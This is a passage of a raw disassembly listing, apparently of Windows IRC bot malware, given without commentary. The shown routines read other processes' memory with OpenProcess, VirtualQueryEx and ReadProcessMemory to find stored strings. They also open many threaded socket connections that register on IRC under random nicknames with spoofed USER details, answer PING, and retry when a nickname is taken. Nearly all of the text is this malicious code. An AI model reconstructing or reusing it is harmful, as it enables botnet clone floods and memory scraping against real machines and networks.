		add	edi, 434h
		mov	dword_4D4A4C, eax
		mov	dword_4D4A50, edi


loc_4177A2:				; CODE XREF: sub_41761C+90j
					; sub_41761C+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	dword_42714C	; RtlFreeHeap
		mov	esi, [ebp+var_10]


loc_4177B3:				; CODE XREF: sub_41761C+74j
		push	[ebp+var_4]
		call	dword_427070	; CloseHandle
		pop	edi
		mov	eax, esi
		pop	ebx


loc_4177C0:				; CODE XREF: sub_41761C+24j
		pop	esi
		leave
		retn
sub_41761C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177C3	proc near		; CODE XREF: sub_4172C1:loc_4173B9p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		call	dword_42708C	; OpenProcess
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_4178B5
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		call	dword_427160	; GetSystemInfo
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_4178AC
		mov	edi, dword_427154


loc_41780E:				; CODE XREF: sub_4177C3+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	dword_427158	; VirtualQueryEx
		test	eax, eax
		jz	short loc_41789A
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_4178A0
		test	[ebp+var_13], 1
		jnz	short loc_4178A0
		push	ecx
		push	8
		call	edi	; GetProcessHeap
		push	eax
		call	dword_427150	; RtlAllocateHeap
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	dword_42715C	; ReadProcessMemory
		test	eax, eax
		jz	short loc_41788C
		push	offset dword_4D3830
		push	esi
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41788C
		lea	eax, [esi+400h]
		push	offset dword_4D4030
		push	eax
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4178BC


loc_41788C:				; CODE XREF: sub_4177C3+9Fj
					; sub_4177C3+B0j
		push	esi
		push	0
		call	edi	; GetProcessHeap
		push	eax
		call	dword_42714C	; RtlFreeHeap
		jmp	short loc_4178A0
; ---------------------------------------------------------------------------


loc_41789A:				; CODE XREF: sub_4177C3+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_4178A0:				; CODE XREF: sub_4177C3+71j
					; sub_4177C3+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_41780E


loc_4178AC:				; CODE XREF: sub_4177C3+3Fj
		push	[ebp+arg_0]
		call	dword_427070	; CloseHandle


loc_4178B5:				; CODE XREF: sub_4177C3+1Ej
		xor	eax, eax


loc_4178B7:				; CODE XREF: sub_4177C3+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4178BC:				; CODE XREF: sub_4177C3+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D4A4C, ebx
		mov	dword_4D4A50, eax
		cmp	[eax], cl
		jnz	short loc_4178DE
		cmp	[eax+1], cl
		jz	short loc_4178E6


loc_4178DE:				; CODE XREF: sub_4177C3+114j
					; sub_4177C3+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4178DE


loc_4178E6:				; CODE XREF: sub_4177C3+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		call	dword_427070	; CloseHandle
		push	1
		pop	eax
		jmp	short loc_4178B7
sub_4177C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178F9	proc near		; CODE XREF: sub_4172C1+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D4A48
		push	esi
		mov	esi, dword_427154
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	dword_427150	; RtlAllocateHeap
		mov	ecx, dword_4D4A48
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D4A50
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D4A54
		push	eax
		call	dword_4D4834
		push	[ebp+var_4]
		mov	edi, offset dword_4D4840
		push	offset dword_4D3830
		push	offset dword_4D4030
		push	[ebp+arg_0]
		push	offset dword_4386C4
		push	200h
		push	edi
		call	sub_41C360
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	dword_42714C	; RtlFreeHeap
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4178F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417990	proc near		; CODE XREF: sub_4172C1:loc_4173FDp

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D4A48
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		call	dword_427154	; GetProcessHeap
		push	eax
		call	dword_427150	; RtlAllocateHeap
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D4030
		mov	edi, 200h
		mov	esi, offset dword_4D3630


loc_4179D6:				; CODE XREF: sub_417990+FAj
		mov	eax, dword_4D4A48
		add	eax, eax
		push	eax
		push	dword_4D4A50
		push	[ebp+var_14]
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D4834
		mov	eax, dword_4D4A48
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_417A4B


loc_417A13:				; CODE XREF: sub_417990+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_417A68
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417A37
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417A37
		cmp	dl, 20h
		jnb	short loc_417A31
		and	[ebp+var_8], 0


loc_417A31:				; CODE XREF: sub_417990+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417A3B


loc_417A37:				; CODE XREF: sub_417990+90j
					; sub_417990+96j
		and	[ebp+var_8], 0


loc_417A3B:				; CODE XREF: sub_417990+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_417A13
		cmp	[ebp+var_8], 0
		jz	short loc_417A68


loc_417A4B:				; CODE XREF: sub_417990+81j
		push	[ebp+var_14]
		push	offset dword_4D3830
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_4386C4
		push	edi
		push	esi
		call	sub_41C360
		add	esp, 1Ch
		jmp	short loc_417A80
; ---------------------------------------------------------------------------


loc_417A68:				; CODE XREF: sub_417990+87j
					; sub_417990+B9j
		push	offset dword_4D3830
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_438714
		push	edi
		push	esi
		call	sub_41C360
		add	esp, 18h


loc_417A80:				; CODE XREF: sub_417990+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_4179D6
		push	[ebp+var_14]
		push	0
		call	dword_427154	; GetProcessHeap
		push	eax
		call	dword_42714C	; RtlFreeHeap
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417990	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417AA9	proc near		; CODE XREF: sub_417C61+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CBA54	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_417B25
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB9D4	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CBA14	; inet_addr
		cmp	eax, esi
		jnz	short loc_417B0A
		push	[ebp+arg_0]
		call	dword_4CBA58	; gethostbyname
		test	eax, eax
		jz	short loc_417B25
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_417B0A:				; CODE XREF: sub_417AA9+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB97C	; connect
		cmp	eax, esi
		jnz	short loc_417B29
		push	edi
		call	dword_4CBA6C	; closesocket


loc_417B25:				; CODE XREF: sub_417AA9+1Bj
					; sub_417AA9+58j
		mov	eax, esi
		jmp	short loc_417B2B
; ---------------------------------------------------------------------------


loc_417B29:				; CODE XREF: sub_417AA9+73j
		mov	eax, edi


loc_417B2B:				; CODE XREF: sub_417AA9+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417AA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B2F	proc near		; CODE XREF: sub_401ACD+324Cp
					; sub_401ACD+32B6p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_42A080 ; "\n"
		push	edi
		call	sub_41C8A0
		pop	ecx
		mov	esi, offset dword_4D4A5C
		pop	ecx


loc_417B47:				; CODE XREF: sub_417B2F+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_417B65
		cmp	dword ptr [esi], 0
		jbe	short loc_417B65
		push	0
		push	edi
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4CBA24	; send


loc_417B65:				; CODE XREF: sub_417B2F+1Cj
					; sub_417B2F+21j
		add	esi, 210h
		cmp	esi, offset dword_4DB17C
		jl	short loc_417B47
		pop	edi
		pop	esi
		retn
sub_417B2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417B76	proc near		; CODE XREF: sub_417C61+155p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42CDC0 ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41CAD4
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx


loc_417B9B:				; CODE XREF: sub_417B76+35j
		push	esi
		push	0
		call	sub_41CAD4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_417B9B
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_417BC3
		cmp	esi, edi
		jnz	short loc_417BC3
		push	1
		pop	eax
		jmp	loc_417C5C
; ---------------------------------------------------------------------------


loc_417BC3:				; CODE XREF: sub_417B76+3Fj
					; sub_417B76+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41CA50
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417BDE
		push	offset dword_43932C
		jmp	short loc_417C2C
; ---------------------------------------------------------------------------


loc_417BDE:				; CODE XREF: sub_417B76+5Fj
		push	offset a433	; "433"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417BFF
		push	esi
		push	offset dword_439328
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C5A


loc_417BFF:				; CODE XREF: sub_417B76+76j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417E84
		add	esp, 10h
		lea	eax, [ebp+var_420]
		push	eax
		push	offset dword_43931C


loc_417C2C:				; CODE XREF: sub_417B76+66j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24	; send


loc_417C5A:				; CODE XREF: sub_417B76+87j
		xor	eax, eax


loc_417C5C:				; CODE XREF: sub_417B76+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417B76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C61	proc near		; DATA XREF: sub_417E06+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41C500
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D4A64[esi]
		mov	dword_4D4A58[esi], edi
		push	dword_4D4C64[esi]
		push	eax
		call	sub_417AA9
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D4A5C[esi], eax
		jb	loc_417DE6
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417E84
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417E84
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417E84
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D4A5C[esi]
		call	dword_4CBA24	; send
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch


loc_417D3D:				; CODE XREF: sub_417C61+111j
					; sub_417C61+180j
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D4A5C[esi]
		call	dword_4CB9EC	; recv
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417DE6
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417D3D


loc_417D74:				; CODE XREF: sub_417C61+17Ej
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_417D9B
		cmp	al, 0Ah
		jz	short loc_417D9B
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_417D9B
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417DD5
; ---------------------------------------------------------------------------


loc_417D9B:				; CODE XREF: sub_417C61+11Cj
					; sub_417C61+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417DD5
		push	dword_4D4A5C[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417B76
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417DE6
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_417DD5:				; CODE XREF: sub_417C61+138j
					; sub_417C61+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_417D74
		jmp	loc_417D3D
; ---------------------------------------------------------------------------


loc_417DE6:				; CODE XREF: sub_417C61+40j
					; sub_417C61+107j ...
		mov	dword_4D4A58[esi], ebx
		mov	esi, dword_4D4A5C[esi]
		cmp	esi, ebx
		jbe	short loc_417DFD
		push	esi
		call	dword_4CBA6C	; closesocket


loc_417DFD:				; CODE XREF: sub_417C61+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_417C61	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E06	proc near		; CODE XREF: sub_401ACD+319Bp

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417E7F


loc_417E18:				; CODE XREF: sub_417E06+77j
		xor	edi, edi
		mov	eax, offset dword_4D4A58


loc_417E1F:				; CODE XREF: sub_417E06+28j
		cmp	[eax], ebx
		jz	short loc_417E30
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DB178
		jl	short loc_417E1F


loc_417E30:				; CODE XREF: sub_417E06+1Bj
		cmp	edi, 31h
		jz	short loc_417E7F
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D4A64[esi]
		push	eax
		call	sub_41C890
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D4C64[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D4A58[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_417C61
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417E18


loc_417E7F:				; CODE XREF: sub_417E06+10j
					; sub_417E06+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417E06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E84	proc near		; CODE XREF: sub_401ACD+36FDp
					; sub_401ACD+3747p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		call	sub_41C2C2
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276D8
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_417ECE
		call	sub_41C2C2
		call	sub_41C2C2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_438A68[edx*4]
		jmp	short loc_417EE7
; ---------------------------------------------------------------------------


loc_417ECE:				; CODE XREF: sub_417E84+2Fj
		call	sub_41C2C2
		call	sub_41C2C2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_438768[edx*4]


loc_417EE7:				; CODE XREF: sub_417E84+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C890
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41D174
		mov	ebx, eax
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417F5A
		cmp	esi, 3
		jnz	short loc_417F51
		cmp	ebx, 1
		jz	short loc_417F5A


loc_417F51:				; CODE XREF: sub_417E84+C6j
		cmp	eax, 1
		jnz	loc_418014


loc_417F5A:				; CODE XREF: sub_417E84+C1j
					; sub_417E84+CBj
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41D174
		push	off_438A68[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41C890
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41C990
		add	esp, 10h
		test	eax, eax
		jnz	short loc_418001
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41C990
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418001
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_418001
		push	edi
		call	sub_41B9C0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276C8
		call	sub_41D174
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_418001:				; CODE XREF: sub_417E84+111j
					; sub_417E84+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41CBC0
		add	esp, 0Ch


loc_418014:				; CODE XREF: sub_417E84+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41B9C0
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41DEE8
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41827C
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41C990
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_418173
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	esi, 3
		jz	short loc_418082
		cmp	eax, 1
		jnz	loc_418173


loc_418082:				; CODE XREF: sub_417E84+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_4180C4
		push	edi
		call	sub_41B9C0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276C8
		call	sub_41D174
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_4180E0
; ---------------------------------------------------------------------------


loc_4180C4:				; CODE XREF: sub_417E84+207j
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41D174
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl


loc_4180E0:				; CODE XREF: sub_417E84+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B0
		call	sub_41D174
		cmp	esi, 3
		jz	short loc_418109
		cmp	eax, ebx
		jnz	short loc_418173


loc_418109:				; CODE XREF: sub_417E84+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_41814E
		push	edi
		call	sub_41B9C0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276C8
		call	sub_41D174
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_41816C
; ---------------------------------------------------------------------------


loc_41814E:				; CODE XREF: sub_417E84+28Fj
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41D174
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_41816C:				; CODE XREF: sub_417E84+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi


loc_418173:				; CODE XREF: sub_417E84+1C9j
					; sub_417E84+1F8j ...
		cmp	esi, 6
		jge	loc_4181FC
		cmp	esi, 5
		jge	short loc_418194
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		jmp	short loc_4181B2
; ---------------------------------------------------------------------------


loc_418194:				; CODE XREF: sub_417E84+2FBj
		call	sub_41C2C2
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276C8


loc_4181B2:				; CODE XREF: sub_417E84+30Ej
		call	sub_41D174
		test	eax, eax
		jnz	short loc_4181D5
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276A8
		call	sub_41D174
		mov	cl, 30h
		jmp	short loc_4181F2
; ---------------------------------------------------------------------------


loc_4181D5:				; CODE XREF: sub_417E84+335j
		cmp	eax, 1
		jnz	short loc_4181FC
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41D174
		mov	cl, 41h


loc_4181F2:				; CODE XREF: sub_417E84+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_4181FC:				; CODE XREF: sub_417E84+2F2j
					; sub_417E84+354j
		cmp	[ebp+var_C], 2
		jge	short loc_41827C
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_41827C
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276A8
		call	sub_41D174
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276A0
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_41827C
		cmp	[ebp+var_C], eax
